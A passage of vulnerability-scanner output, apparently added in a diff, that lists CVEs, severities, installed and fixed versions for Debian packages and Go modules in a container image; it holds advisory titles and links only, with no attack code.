verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libuuid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ mount │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ ncurses-base │ CVE-2025-69720 │ │ │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┤ │ │ │ ├────────────────────┤ │ +│ ncurses-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ openssl │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.16-1~deb12u1 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ perl-base │ CVE-2026-13221 │ CRITICAL │ │ 5.36.0-7+deb12u2 │ 5.36.0-7+deb12u4 │ perl: Perl: Incorrect regular expression processing via │ +│ │ │ │ │ │ │ large regular expressions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-13221 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42496 │ │ │ │ │ perl-archive-tar: perl-archive-tar: Path traversal via │ +│ │ │ │ │ │ │ crafted symlinks allows arbitrary file access │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42496 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-8376 │ │ │ │ │ perl: Perl: Heap buffer overflow when compiling regular │ +│ │ │ │ │ │ │ expressions on 32-bit builds... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-8376 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-31484 │ HIGH │ │ │ 5.36.0-7+deb12u3 │ perl: CPAN.pm does not verify TLS certificates when │ +│ │ │ │ │ │ │ downloading distributions over HTTPS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-31484 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42497 │ │ │ │ 5.36.0-7+deb12u4 │ perl-Archive-Tar: perl-Archive-Tar: Arbitrary file │ +│ │ │ │ │ │ │ modification via crafted hardlinks during archive extraction │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42497 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-48962 │ │ │ │ │ perl-IO-Compress: perl-IO-Compress: Arbitrary code execution │ +│ │ │ │ │ │ │ via attacker-controlled output glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-48962 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57432 │ │ │ │ │ perl: Perl: Information disclosure via integer overflow in │ +│ │ │ │ │ │ │ pack/unpack operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57432 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57433 │ │ │ │ │ Storable: Storable: Denial of Service via signed integer │ +│ │ │ │ │ │ │ overflow in deserialization │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57433 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-9538 │ │ fix_deferred │ │ │ perl-Archive-Tar: perl-Archive-Tar: Denial of Service via │ +│ │ │ │ │ │ │ crafted tar header with large entry... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-9538 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux-extra │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ zlib1g │ CVE-2023-45853 │ CRITICAL │ will_not_fix │ 1:1.2.13.dfsg-1 │ │ zlib: integer overflow and resultant heap-based buffer │ +│ │ │ │ │ │ │ overflow in zipOpenNewFileInZip4_6 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45853 │ +│ ├─────────────────┼──────────┼──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-76844 │ HIGH │ affected │ │ │ webpack-dev-middleware: webpack-dev-middleware: Information │ +│ │ │ │ │ │ │ Disclosure via Path Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-76844 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-85091 │ │ │ │ │ zlib: zlib: Heap buffer overflow in gz_vacate() allows │ +│ │ │ │ │ │ │ arbitrary code execution │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-85091 │ +└────────────────────┴─────────────────┴──────────┴──────────────┴────────────────────┴────────────────────┴──────────────────────────────────────────────────────────────┘ + +usr/local/bin/mc (gobinary) +=========================== +Total: 54 (HIGH: 52, CRITICAL: 2) + +┌──────────────────────────────────┬─────────────────────┬──────────┬────────┬───────────────────┬───────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├──────────────────────────────────┼─────────────────────┼──────────┼────────┼───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/klauspost/compress │ CVE-2026-63209 │ HIGH │ fixed │ v1.18.0 │ 1.18.7 │ github.com/klauspost/compress: klauspost/compress: Denial of │ +│ │ │ │ │ │ │ Service via integer overflow in dictionary processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-63209 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/prometheus/prometheus │ CVE-2026-42151 │ │ │ v0.303.0 │ 0.311.3 │ github.com/prometheus/prometheus: Prometheus: Information │ +│ │ │ │ │ │ │ disclosure of Azure OAuth client secret via config API... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42151 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42154 │ │ │ │ 0.311.3, 0.305.2 │ github.com/prometheus/prometheus: Prometheus: Denial of │ +│ │ │ │ │ │ │ Service via uncontrolled memory allocation in remote read... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42154 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/crypto │ CVE-2025-47913 │ │ │ v0.37.0 │ 0.43.0 │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: SSH client panic due to │ +│ │ │ │ │ │ │ unexpected SSH_AGENT_SUCCESS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-47913 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39828 │ │ │ │ 0.52.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Unauthorized command execution via discarded SSH permissions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39828 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39829 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted public key with excessive parameters... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39829 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39830 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via resource leak from unsolicited SSH responses... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39830 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39831 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security │ +│ │ │ │ │ │ │ key bypass due to missing user presence check │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39831 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39832 │ │ │ │ │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: Security bypass due to │ +│ │ │ │ │ │ │ improper handling of key restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39832 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39835 │ │ │ │ │ golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Denial of Service via crafted SSH certificate │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39835 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42508 │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: golang: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: Revocation bypass via │ +│ │ │ │ │ │ │ unchecked SignatureKey │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42508 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46595 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authorization bypass due to skipped source-address │ +│ │ │ │ │ │ │ validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46595 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46597 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted AES-GCM packet decoder inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46597 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56854 │ │ │ │ 0.55.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authentication bypass due to unenforced source-address │ +│ │ │ │ │ │ │ restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56854 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┤ ├──────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-25681 │ │ │ v0.39.0 │ │ golang.org/x/net/html: golang.org/x/net/html: Arbitrary code │ +│ │ │ │ │ │ │ execution via Cross-Site Scripting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25681 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27136 │ │ │ │ │ golang.org/x/net/html: golang: golang.org/x/net/html: │ +│ │ │ │ │ │ │ Cross-Site Scripting via HTML parsing bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27136 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ 0.53.0 │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 0.55.0 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46600 │ │ │ │ 0.56.0 │ golang.org/x/net/dns/dnsmessage: │ +│ │ │ │ │ │ │ golang.org/x/net/dns/dnsmessage: Denial of Service via │ +│ │ │ │ │ │ │ invalid DNS record parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46600 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78661 │ │ │ │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ 0.60.0 │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/text │ CVE-2026-56851 │ │ │ v0.24.0 │ 0.41.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ out-of-bounds slice error in Nickname profile... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56851 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56852 │ │ │ │ 0.39.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ invalid UTF-8 input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56852 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ google.golang.org/grpc │ CVE-2026-33186 │ CRITICAL │ │ v1.71.0 │ 1.79.3 │ google.golang.org/grpc/grpc-go: │ +│ │ │ │ │ │ │ google.golang.org/grpc/authz: gRPC-Go: Authorization bypass │ +│ │ │ │ │ │ │ due to improper HTTP/2 path validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33186 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84304 │ HIGH │ │ │ 1.83.1 │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ │ HTTP/2 DATA Frame Fragmentation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84304 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84445 │ │ │ │ 1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ 1.85.0-dev.0.20260825072537-93e31b48545e │ malformed RPC requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84445 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ GHSA-hrxh-6v49-42gf │ │ │ │ 1.82.1 │ gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-hrxh-6v49-42gf │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ │ v1.24.2 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-22874 │ HIGH │ │ │ 1.24.4 │ crypto/x509: Usage of ExtKeyUsageAny disables policy │ +│ │ │ │ │ │ │ validation in crypto/x509 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22874 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ 